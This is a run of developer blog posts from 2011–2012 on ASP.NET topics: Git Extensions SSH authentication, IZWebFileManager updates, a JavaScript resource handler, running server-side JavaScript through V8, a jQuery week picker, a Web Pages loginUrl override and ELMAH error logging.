In case you select read only access url, you even don't need to configure SSH key. (You still need it for read-write access).<br />
<br />
<h3>
Authentication failures and loading SSH key</h3>
When you open local repository with Git Extensions and want to update or push you changes from/to remote GitHub repository, you might fail into authentication error:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimwHaRNuGYeu86RJgRF4XBN4Pse3TOZ06cIuWWwlIR4nDAs62IYyygoYiv3WP0g_wY8YoRH-Qwu23d3-kREWC54STs9zWTA_tmoO3qcs-0oOFvDHIoticXrWyQtRIcZWC6Y3zygcoJr5og/s1600/2012-03-27+11h25_12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimwHaRNuGYeu86RJgRF4XBN4Pse3TOZ06cIuWWwlIR4nDAs62IYyygoYiv3WP0g_wY8YoRH-Qwu23d3-kREWC54STs9zWTA_tmoO3qcs-0oOFvDHIoticXrWyQtRIcZWC6Y3zygcoJr5og/s1600/2012-03-27+11h25_12.png" /></a></div>
<br />
It happens if your SSH key has not been loaded yet. Don't panic, click "Load SSH key", select your SSH private key and then click "Retry".<br />
<br />
<h3>
Thank you</h3>
I hope you find this tutorial helpful.<br />
<br />
If you have any questions, please put your comment here.Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com11tag:blogger.com,1999:blog-5201357166850736293.post-51356650808322047712012-03-12T00:11:00.000-07:002012-03-12T00:11:40.604-07:00IZWebFileManager New Feature: File Search.IZWebFileManager v2.7.0 is out.<br />
<br />
This release brings a new feature: file search.<br />
<br />
You can search files as easy as you do it in windows explorer.<br />
<br />
Search result is listed with additional column "Folder Path", which is clickable and allows to navigate to file containing folder.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKhWTxukqa2W3StQOAknP3zmsBuWamG5Y03LN1G5Sn8BV6USiXWokQzx41ydnFKHGFTvvHiXN1r5dTWsPuGa41NBoJDdGESfGNbCrHgxnVwzrjY-Fr1OOcsx2liB8GLYHX74ywMwoKMu_T/s1600/2012-03-12+08h53_29.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKhWTxukqa2W3StQOAknP3zmsBuWamG5Y03LN1G5Sn8BV6USiXWokQzx41ydnFKHGFTvvHiXN1r5dTWsPuGa41NBoJDdGESfGNbCrHgxnVwzrjY-Fr1OOcsx2liB8GLYHX74ywMwoKMu_T/s1600/2012-03-12+08h53_29.png" /></a></div>
<br />
In case you don't wont allow users to search file, you can hide search box by setting property <i>ShowSearchBox=false</i>.<br />
<br />
The release is available for download from Google Code <a href="https://code.google.com/p/izwebfilemanager/">https://code.google.com/p/izwebfilemanager/</a>Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com1tag:blogger.com,1999:blog-5201357166850736293.post-32156161014284251402012-03-07T23:12:00.001-08:002012-03-07T23:17:59.996-08:00BugNET - open source issue trackerI've been searching for free development management tools running on windows and finally found this one - <a href="http://bugnetproject.com/">BugNET - open source issue tracker</a><br />
<br />
It is a great tool, built using C# and the <a href="http://asp.net/" style="background-color: white; color: #3366cc; cursor: pointer; font-family: arial, sans-serif; font-size: 13px; line-height: 18px;" target="_blank">ASP.NET</a> platform and provides features such issues tracking and project management. Full list of features may be found <a href="http://bugnetproject.com/Documentation/tabid/57/topic/Features/Default.aspx">here</a>.<br />
<br />
Current state is beta, but it is developed rapidly, so release should not take long.Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com0tag:blogger.com,1999:blog-5201357166850736293.post-23220830330318600982012-03-02T00:01:00.000-08:002012-03-02T00:02:01.045-08:00IZWebFileManager is a 2 million dollar project!According to <a href="http://www.ohloh.net/p/12434/estimated_cost">Ohloh</a>, my <a href="http://www.izwebfilemanager.com/">open source web file manager project</a> cost more then 2 million dollar!<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEie-SL280p05aLNNh1hCjMjSh2CrzzEqKzCMgWk3zE2lUBnziLis_3AoFIPvlGUw-VppfOuFT38I4ndZgfg3UDPztwBXqoHUk0Jb2YRo_I54TnryFuXfShkxGzENsRCB_ZKqffYIGxQPvzF/s1600/2012-03-02+09h49_12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEie-SL280p05aLNNh1hCjMjSh2CrzzEqKzCMgWk3zE2lUBnziLis_3AoFIPvlGUw-VppfOuFT38I4ndZgfg3UDPztwBXqoHUk0Jb2YRo_I54TnryFuXfShkxGzENsRCB_ZKqffYIGxQPvzF/s1600/2012-03-02+09h49_12.png" /></a></div>
<br />
<br />
Is there someone who wants to buy?Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com0tag:blogger.com,1999:blog-5201357166850736293.post-52518148518559242112012-02-21T22:17:00.000-08:002012-02-21T22:18:46.294-08:00IZWebFileManager got mentioned by CodeProjectMy open source project IZWebFileManager got mentioned by CodeProject.<br />
There is a link to the article on CodeProject: <a href="http://www.codeproject.com/Articles/333160/WebSlideProjector">http://www.codeproject.com/Articles/333160/WebSlideProjector</a><br />
<br />Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com0tag:blogger.com,1999:blog-5201357166850736293.post-16187074173358364042012-02-04T21:54:00.000-08:002012-02-04T21:54:30.000-08:00IZWebFileManager now speaks in more languagesRecently I got a contribution from BeJay, one of IZWebFileManager users. It was 3 new language resource files: China, Czech and Slovakia.<br />
<br />
So by now IZWebFileManager supports 17 languages! Isn't it great?<br />
<br />
Most recent release available for download from google code: <a href="http://code.google.com/p/izwebfilemanager/">http://code.google.com/p/izwebfilemanager/</a><br />
<br />
IZWebFileManager is an open source project. You are welcome to contribute!<br />Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com0tag:blogger.com,1999:blog-5201357166850736293.post-2753269555284990682011-11-14T21:41:00.001-08:002011-11-14T23:29:54.093-08:00Use ASP.NET Resource strings from within javascript filesIt seems to be a common issue.<br />
<br />
ASP.NET allows you to use resource files (*.resx) to localize content of pages (or views, if we are in context of ASP.NET MVC). All what you need is to put resource files under <i>~/App_GlobalResources</i> folder and use either resource expression or<span style="color: #2b91af;"> </span><i>HttpContext.GetGlobalResourceObject()</i> API to get a proper string. It is well <a href="http://msdn.microsoft.com/en-us/library/ms228208.aspx">documented on MSDN</a>. The only issue - this API is not accessible within static resources such JavaScript files.<br />
<br />
<br />
<a name='more'></a>There are several solution already described by different people: Martin Normark's solution is <a href="http://martinnormark.com/making-your-asp-net-global-resource-files-work-in-javascript-intellisense-included">generating static JavaScript resource files on post-build</a>, Mads Kristensen suggest to <a href="http://madskristensen.net/post/Localize-text-in-JavaScript-files-in-ASPNET.aspx">localize text in JavaScript files by string replacing</a>, and finally Rick Strahl introduce <a href="http://www.west-wind.com/weblog/posts/2009/Apr/02/A-Localization-Handler-to-serve-ASPNET-Resources-to-JavaScript">a localization handler to serve ASP.NET resources to JavaScript.</a><br />
<br />
The last solution looks most elegant for me. Since I am working only with global resources I just simplified his solution and ended up with my own:<br />
<br />
<pre style="background: none repeat scroll 0% 0% white; color: black; font-family: Consolas; font-size: 13px;"> <span style="color: blue;">public</span> <span style="color: blue;">class</span> <span style="color: #2b91af;">JavaScriptResourceHandler</span> : <span style="color: #2b91af;">IHttpHandler</span>
{
<span style="color: blue;">public</span> <span style="color: blue;">void</span> ProcessRequest(<span style="color: #2b91af;">HttpContext</span> context)
{
<span style="color: blue;">var</span> requestedCulture = <span style="color: blue;">new</span> <span style="color: #2b91af;">CultureInfo</span>(context.Request.QueryString[<span style="color: #a31515;">"locale"</span>]);
<span style="color: blue;">var</span> classKey = context.Request.QueryString[<span style="color: #a31515;">"classKey"</span>];
<span style="color: blue;">var</span> dictionary = ReadResources(classKey, requestedCulture);
<span style="color: blue;">var</span> javaScriptSerializer = <span style="color: blue;">new</span> <span style="color: #2b91af;">JavaScriptSerializer</span>();
<span style="color: blue;">var</span> script =
<span style="color: #a31515;">@"</span>
<span style="color: #a31515;">if (typeof(Resources) == ""undefined"") Resources = {};</span>
<span style="color: #a31515;">Resources."</span> + classKey + <span style="color: #a31515;">" = "</span> +
javaScriptSerializer.Serialize(dictionary) + <span style="color: #a31515;">";"</span>;
context.Response.ContentType = <span style="color: #a31515;">"application/javascript"</span>;
context.Response.Expires = 43200; <span style="color: green;">// 30 days</span>
context.Response.Cache.SetLastModified(<span style="color: #2b91af;">DateTime</span>.UtcNow);
context.Response.Write(script);
}
<span style="color: blue;">public</span> <span style="color: blue;">bool</span> IsReusable
{
<span style="color: blue;">get</span>
{
<span style="color: blue;">return</span> <span style="color: blue;">false</span>;
}
}
<span style="color: blue;">private</span> <span style="color: blue;">static</span> <span style="color: #2b91af;">Dictionary</span><<span style="color: blue;">object</span> ,<span style="color: blue;">object</span>> ReadResources(<span style="color: blue;">string</span> classKey,<span style="color: #2b91af;">
CultureInfo</span> requestedCulture )
{
<span style="color: blue;">var</span> resourceManager = <span style="color: blue;">new</span> <span style="color: #2b91af;">ResourceManager</span>(<span style="color: #a31515;">"Resources."</span> + classKey,<span style="color: #2b91af;">
Assembly</span>.Load(<span style="color: #a31515;">"App_GlobalResources"</span>));
<span style="color: blue;">using</span> (<span style="color: blue;">var</span> resourceSet =
resourceManager.GetResourceSet(<span style="color: #2b91af;">CultureInfo</span>.InvariantCulture, <span style="color: blue;">true</span>, <span style="color: blue;">true</span>))
{
<span style="color: blue;">return</span> resourceSet
.Cast<<span style="color: #2b91af;">DictionaryEntry</span>>()
.ToDictionary(x => x.Key,
x => resourceManager.GetObject((<span style="color: blue;">string</span>)x.Key, requestedCulture));
}
}
}</pre>
<pre style="background: none repeat scroll 0% 0% white; color: black; font-family: Consolas; font-size: 13px;"> </pre>
<pre style="background: none repeat scroll 0% 0% white; color: black; font-family: Consolas; font-size: 13px;"></pre>
The demo project running this code might be found at Googe Code: <a href="http://code.google.com/p/izlabs/source/browse/#svn%2Ftrunk%2FJavaScriptResourceHandler">http://code.google.com/p/izlabs/source/browse/#svn%2Ftrunk%2FJavaScriptResourceHandler</a>Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com2tag:blogger.com,1999:blog-5201357166850736293.post-69796647214538444502011-08-01T02:11:00.000-07:002011-08-01T02:15:52.741-07:00Write custom ASP.NET HTTP Handler using JavaScriptJavaScript is extremely popular language and already has implementations for server-side programming. For example <a href="http://nodejs.org/">Node.js</a> - a server-side JavaScript environment that utilizes Goggle's <a href="http://code.google.com/p/v8/">V8 JavaScript Engine</a>.<br />
<br />
<br />
I am an ASP.NET developer and want to use JavaScript in the ASP.NET environment. I found<a href="http://javascriptdotnet.codeplex.com/"> Javascript .NET</a> project, that bring Google's V8 to the .NET world and I started with a simple task - to write a custom ASP.NET HTTP Handler using JavaScript. (I had done <a href="http://igorzelmanovich.blogspot.com/2010/11/write-custom-aspnet-http-handler-with.html">similar task with IronPython</a> before)<br />
<br />
<br />
<a name='more'></a><br />
<br />
<b>Setup requirements</b><br />
<br />
1. I want *.js file to be processed on server (like *.aspx or *.ashx)<br />
2. I want to access server side objects (such HttpContext, HttpRequest and HttpResponse) from javascript code.<br />
<br />
<b>Implementation</b><br />
<br />
First of all, download <a class="SelectedRelease" href="http://javascriptdotnet.codeplex.com/" id="ReleaseLinkStable0" title="Recommended Release: Javascript .NET v0.4">Javascript .NET</a> and add the reference to Noesis.Javascript.dll. It embeds Google's V8 and contains an API required to run JavaScript code<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVFuR1fjVS-NtZZwjJbtEf3gTqvF84uszXamgFgDs_7L4wbgfrBtB-q3kJ5Bfb-Ls5TkeyytI9zFOSWZmWxilmB_KZL8qFyy6zEDB5sVNfzZby-vrS7hkZvtTjBX-lTevHebbsbIfDID48/s1600/2011-08-01+11h20_21.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVFuR1fjVS-NtZZwjJbtEf3gTqvF84uszXamgFgDs_7L4wbgfrBtB-q3kJ5Bfb-Ls5TkeyytI9zFOSWZmWxilmB_KZL8qFyy6zEDB5sVNfzZby-vrS7hkZvtTjBX-lTevHebbsbIfDID48/s1600/2011-08-01+11h20_21.png" /></a></div><br />
<br />
Setup custom HTTP Handler in web.config. It will handle any request of *.js file under App folder. I configure it this way to allow other javascript files (not under App folder) to be processed as static content for being used in browser.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWoEz7NgnBYgSeqxK3C_SBmSerJfj1w3yUq7WHZNFQcFmTwUidgkKsbgb8FYi-KIPuwAcFY0o292RqxL9WtmL8jeWA4mT4jpINfn89sfxJ8hBkcQ4ds8e5JcSfSOjSTrD4nd3sHmrqQE-U/s1600/2011-08-01+10h27_14.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWoEz7NgnBYgSeqxK3C_SBmSerJfj1w3yUq7WHZNFQcFmTwUidgkKsbgb8FYi-KIPuwAcFY0o292RqxL9WtmL8jeWA4mT4jpINfn89sfxJ8hBkcQ4ds8e5JcSfSOjSTrD4nd3sHmrqQE-U/s1600/2011-08-01+10h27_14.png" /></a></div><br />
Next step - create App folder and HelloWorld.js file:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZRNf6g8UHlxH9fu4YonBkMScT6BeCIyhYxbdvG7nfSjq8DyrBCtfrucKe9I91a1FrKAYUzTdLa3_T09zjMlp3kokVHLYkrfUYuJOaR78fcl8i_gCky-6pZYzrOcVfEUhyphenhyphenmov8HVCjwqYN/s1600/2011-08-01+10h28_06.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZRNf6g8UHlxH9fu4YonBkMScT6BeCIyhYxbdvG7nfSjq8DyrBCtfrucKe9I91a1FrKAYUzTdLa3_T09zjMlp3kokVHLYkrfUYuJOaR78fcl8i_gCky-6pZYzrOcVfEUhyphenhyphenmov8HVCjwqYN/s1600/2011-08-01+10h28_06.png" /></a></div><br />
Write the single line code:<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCR1gB8-_03D1RImzXVg6QE3ozQpvTYVS14CKSA8dxIM5TvtpPeSaJbU8RD35VBsx1XyI3N6VEjOhjDdBfCdqnvcNljo8JeSpCrStkXCBvgdlK1hxJV2hve8oqXBOHUyNDd3iQQOFpHmxP/s1600/2011-08-01+11h30_19.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCR1gB8-_03D1RImzXVg6QE3ozQpvTYVS14CKSA8dxIM5TvtpPeSaJbU8RD35VBsx1XyI3N6VEjOhjDdBfCdqnvcNljo8JeSpCrStkXCBvgdlK1hxJV2hve8oqXBOHUyNDd3iQQOFpHmxP/s1600/2011-08-01+11h30_19.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br />
At this moment I expect this code run on server and produce simple 'Hello World!' html.<br />
But to make it works I have to implement JavaScriptHttpHandlerFactory - the core of all this. <br />
<br />
<b>JavaScriptHttpHandlerFactory</b><br />
<br />
Implementation is listed below:<br />
<br />
<br />
<pre class="prettyprint">using System.IO;
using System.Web;
using Noesis.Javascript;
namespace Web
{
public class JavaScriptHttpHandlerFactory : IHttpHandlerFactory
{
public IHttpHandler GetHandler(HttpContext context,
string requestType, string url, string pathTranslated)
{
return new JavaScriptHttpHandler(pathTranslated);
}
public void ReleaseHandler(IHttpHandler handler)
{
}
}
public class JavaScriptHttpHandler : IHttpHandler
{
private readonly string pathTranslated;
public JavaScriptHttpHandler(string pathTranslated)
{
this.pathTranslated = pathTranslated;
}
public void ProcessRequest(HttpContext context)
{
var scriptCode = File.ReadAllText(pathTranslated);
using (var jsContext = new JavascriptContext())
{
jsContext.SetParameter("context", context);
jsContext.SetParameter("request", context.Request);
jsContext.SetParameter("response", context.Response);
try
{
jsContext.Run(scriptCode);
}
catch (JavascriptException ex)
{
throw new HttpParseException(ex.Message, ex,
pathTranslated, scriptCode, ex.Line);
}
}
}
public bool IsReusable
{
get { return false; }
}
}
}
</pre><br />
As you may see, implementation of JavaScriptHttpHandlerFactory is pretty simple. Read the js file, create JavascriptContext, setup context parameters and finally execute.<br />
<br />
Now when you run HelloWorld.js you get "Hello World!" in browser:<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjm7RfiRR6uLm3iaEEljjSbSKsht8GmmRc52Wvzgcw_7ypQWa3oHl6ltVnkVKuX9OjrWbNs1jlWLG0xZfe1E-0Yi16gs14gwoTE0fVyDOmQdauA9OhDnOR2yxC0CpVA4vpjhMJ3RrqlDaK3/s1600/2011-08-01+11h41_31.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjm7RfiRR6uLm3iaEEljjSbSKsht8GmmRc52Wvzgcw_7ypQWa3oHl6ltVnkVKuX9OjrWbNs1jlWLG0xZfe1E-0Yi16gs14gwoTE0fVyDOmQdauA9OhDnOR2yxC0CpVA4vpjhMJ3RrqlDaK3/s1600/2011-08-01+11h41_31.png" /></a></div><br />
<b>Error handling</b><br />
<br />
But all of this worth nothing if we are not able to debug javascript easily.<br />
Javascript.NET allows us to handle javascript errors and even points to source code line where error was occurred.<br />
<br />
I used this feature to expose a javascript error in convenient format of "yellow screen of death":<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheXpl-RKDVmtXmZ_SPmC28v_vKkAiHDkGIvb0wAXQOOVBocBUwJ8jozOIpqt3HFnfk6V5dD-n-FbaIdJOPXn5Ib6KlST4pjHAn_EzdTGJZx3iMEFHpWanrEs0Yk5KBU0HvbML5cKbbdFoi/s1600/2011-08-01+11h58_42.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheXpl-RKDVmtXmZ_SPmC28v_vKkAiHDkGIvb0wAXQOOVBocBUwJ8jozOIpqt3HFnfk6V5dD-n-FbaIdJOPXn5Ib6KlST4pjHAn_EzdTGJZx3iMEFHpWanrEs0Yk5KBU0HvbML5cKbbdFoi/s1600/2011-08-01+11h58_42.png" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5kZ2_uQK3swOZkHQ7cBkKiAF8ALfe8PrPEBfn3t6rEtywF9U1eRmmQcoDwrbjs7MuBmnxqRV9uaaGoIV2EUXpKPnoD53fQwpcab993BG4U8dpZYZDECMKD1HPs-1qVFHsoGuuuzBfER3l/s1600/2011-08-01+11h57_03.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br />
</a></div><br />
<br />
<b>Conclusion</b><br />
<br />
Integration of JavaScript into ASP.NET environment is possible and not so hard<br />
<br />
BTW, Javascript.NET is not only technology allows it. There is <a href="https://github.com/fholm/IronJS">IronJS</a> wich runs javascript over DLR. May be in one next posts will play with it.Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com0tag:blogger.com,1999:blog-5201357166850736293.post-11570420725249339522011-07-18T23:46:00.000-07:002011-07-18T23:46:19.656-07:00Week picker using jQuery UI DatepickerThere is my implementation of Week picker using jQuery UI Datepicker (requers jQuery UI 1.8+).<br />
<br />
<iframe src="http://jsfiddle.net/manishma/AVZJh/embedded/result/" style="height: 450px; width: 100%;"></iframe><br />
<br />
<a name='more'></a><br />
<br />
<iframe src="http://jsfiddle.net/manishma/AVZJh/embedded/html/" style="height: 450px; width: 100%;"></iframe><br />
<br />
Html and Javascript are shared on JsFiddle <a href="http://jsfiddle.net/manishma/AVZJh/">http://jsfiddle.net/manishma/AVZJh/</a>Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com11tag:blogger.com,1999:blog-5201357166850736293.post-40098304529808011202011-07-14T02:51:00.000-07:002011-07-14T03:01:05.730-07:00ASP.NET Web Pages and FormAuthentication.LoginUrl configurationRecently I had integrated ASP.NET Web Pages into existing ASP.NET Web Forms site.<br />
It was classic Web Forms project uses most of ASP.NET Web Forms features.<br />
<br />
And of course it uses the built-in FormAuthentication. See Web.config:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDD-PIaBEpMakhdZn9yIm46fs3uHalgADGneWSn5jRbf7UEk4dsKhHT8LJNmgoGe15mMRaNjuyjJiBgBUP4lgqvJ2wYQ0NOLKveDkcJXxxxAi1vt9_ZVWiIoBGm3M3HLTgdvAPB_74wngk/s1600/2011-07-14+11h52_18.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="59" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDD-PIaBEpMakhdZn9yIm46fs3uHalgADGneWSn5jRbf7UEk4dsKhHT8LJNmgoGe15mMRaNjuyjJiBgBUP4lgqvJ2wYQ0NOLKveDkcJXxxxAi1vt9_ZVWiIoBGm3M3HLTgdvAPB_74wngk/s640/2011-07-14+11h52_18.png" width="640" /></a></div><br />
Any time you access 'secure' url, you get redirected to <b><i>Login.aspx</i></b> with <b><i>ReturnUrl </i></b>parameter. This worked fine for years.<br />
<br />
<a name='more'></a><br />
<br />
There was a reason to integrate ASP.NET Web Pages into this working project. Integration itself was not painful. First of all I upgraded the project to ASP.NET 4 and then added following setting to enable Web Pages.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAMbgwcsSfX04Z0PF1qjOm_3-XhaBRCE7kvOuVEEiuhiGEdVFUsOMLn8k2nWRR3cDhiFi4z2X9n_ALGsx84AmCkSpSYGefU3x7GN8yHMEivsTHrdlFUEfwyvoWZ37zRyAJJ_hOaZXDLQfJ/s1600/2011-07-14+11h57_06.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAMbgwcsSfX04Z0PF1qjOm_3-XhaBRCE7kvOuVEEiuhiGEdVFUsOMLn8k2nWRR3cDhiFi4z2X9n_ALGsx84AmCkSpSYGefU3x7GN8yHMEivsTHrdlFUEfwyvoWZ37zRyAJJ_hOaZXDLQfJ/s1600/2011-07-14+11h57_06.png" /></a></div><br />
My old aspx pages and new cshtml worked fine, but it broke user authentication flow in strange way. All unauthenticated requests was redirected to <b><i>/Account/Login </i></b>instead of <b><i>Login.aspx</i></b>.<br />
I was shocked!!!. Where this <b><i>/Account/Login </i></b>came from?!?!<br />
<br />
Starting debugging I found that <i><b>FormAuthentication.LoginUrl</b></i> returns <b><i>~/Account/Login </i></b>despite configuration in Web.config. Seems someone overrides web.config settings, but why?<br />
<br />
The answer came from Reflector (this tool always helps).<br />
When I enabled ASP.NET Web Pages in the project, it forced <b>WebMatrix.WebData.dll </b>being loaded, which in its turn called <i><b>FormsAuthentication.EnableFormsAuthentication</b></i> overriding existing FormAuthentication settings.<br />
<br />
Web Pages looks for <i><b>loginUrl</b></i> app setting and use a default <b><i>~/Account/Login </i></b>if no such setting found<b><i>. </i></b>I added following setting and it solved my problem:<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxs-gO5zCBCOgVxy1BRsi0JdK4NzdeZllSqynAo2Ky8zlRuUcPxCtWslbXUrTeehMku2Ib7p-_qEESY2LXbBDlI6K5XgVqQRtLqCQRV0vewRgyFB3qj2YP1VTv7yMfAhFoecbTEH1lqkJZ/s1600/2011-07-14+11h56_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxs-gO5zCBCOgVxy1BRsi0JdK4NzdeZllSqynAo2Ky8zlRuUcPxCtWslbXUrTeehMku2Ib7p-_qEESY2LXbBDlI6K5XgVqQRtLqCQRV0vewRgyFB3qj2YP1VTv7yMfAhFoecbTEH1lqkJZ/s1600/2011-07-14+11h56_02.png" /></a></div>I think this is a bug in ASP.NET Web Pages. Configuring loginUrl with appSettings is not clear when you already have form authentication being configured in the same Web.config.Anonymoushttp://www.blogger.com/profile/12319456090341677787noreply@blogger.com1tag:blogger.com,1999:blog-5201357166850736293.post-79010643737189445502011-07-10T23:54:00.000-07:002011-07-14T03:02:00.134-07:00ELMAH - Logging errors in ASP.NETCatching and logging unhandled exceptions is one of the first tasks in developing an ASP.NET application.<br />
<br />
Typically you put code which handles exceptions into Global.asax:<br />
<br />
<div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvmp31ujr5UlHScTyZRRl5z335FnBRaNeY8KiySwkSRDx2O8X3kDBjXLvDKAvZv0mHln5Ns-dMJ8Hk3m9JKuc2nFeZt3L8UUKWu4SPIxC5DAQqDA_wSMRZg2OfYoZaJaePcgdXuWiLRZOT/s1600/2011-07-11+08h21_52.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvmp31ujr5UlHScTyZRRl5z335FnBRaNeY8KiySwkSRDx2O8X3kDBjXLvDKAvZv0mHln5Ns-dMJ8Hk3m9JKuc2nFeZt3L8UUKWu4SPIxC5DAQqDA_wSMRZg2OfYoZaJaePcgdXuWiLRZOT/s1600/2011-07-11+08h21_52.png" /></a></div><br />
<br />
The are many ways to report an error: you may write it into a database, send an email or store it in memory. I got tired of copying such code from one app to another and finally found a component that allows me to handle errors in a code-less way. It is <a href="http://code.google.com/p/elmah/">ELMAH</a><br />
<br />
<a name='more'></a><br />
<br />
ELMAH provides an HttpModule which does exactly the same work that I previously used to do.<br />
All I need is to configure its behavior in Web.config.<br />
<br />
<br />
<br />
<b>Installing ELMAH</b><br />
<br />
<br />
The easiest way to install ELMAH is using <a href="http://nuget.codeplex.com/">NuGet</a>.<br />
I am not familiar with the command line and always prefer a graphic UI, so I used its this one:<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimgxsM3nuNbQWXlLuYefbzfYjgx5q2DC75xUKRl8CLAc_8_Eoa_JkpxhlP4vvfuITbsDHi1RlbaiJGwoXMeL4TcjZqwmjelOTcMAmROZgaC-bnq5KQ0YZOgBEvOctd2k0HGtLpb4GXh0qw/s1600/2011-07-11+08h41_13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="393" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimgxsM3nuNbQWXlLuYefbzfYjgx5q2DC75xUKRl8CLAc_8_Eoa_JkpxhlP4vvfuITbsDHi1RlbaiJGwoXMeL4TcjZqwmjelOTcMAmROZgaC-bnq5KQ0YZOgBEvOctd2k0HGtLpb4GXh0qw/s640/2011-07-11+08h41_13.png" width="640" /></a></div><br />
<br />
Search for ELMAH package:<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6WgHNn4zl01hprqDIWsKy_OcP6EtOiYNhuUutpDrOJhLk2zkWJMxL8jKHv30qvIuLKCJFSZSehvOL7fgk-GXDYvFpgkJ8D3ft7OJXWfzHi8TKfYL-_un-AjkwIiTS8IfVO_D64drc8CM5/s1600/2011-07-11+08h45_56.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6WgHNn4zl01hprqDIWsKy_OcP6EtOiYNhuUutpDrOJhLk2zkWJMxL8jKHv30qvIuLKCJFSZSehvOL7fgk-GXDYvFpgkJ8D3ft7OJXWfzHi8TKfYL-_un-AjkwIiTS8IfVO_D64drc8CM5/s640/2011-07-11+08h45_56.png" width="640" /></a></div><br />
Select ELMAH, click '<i>Install</i>' - that's it.<br />
<br />
<b>ELMAH in action</b><br />
<br />
Any time you have an unhandled exception you see the "yellow screen of death":<br />
<br />
<b></b><br />
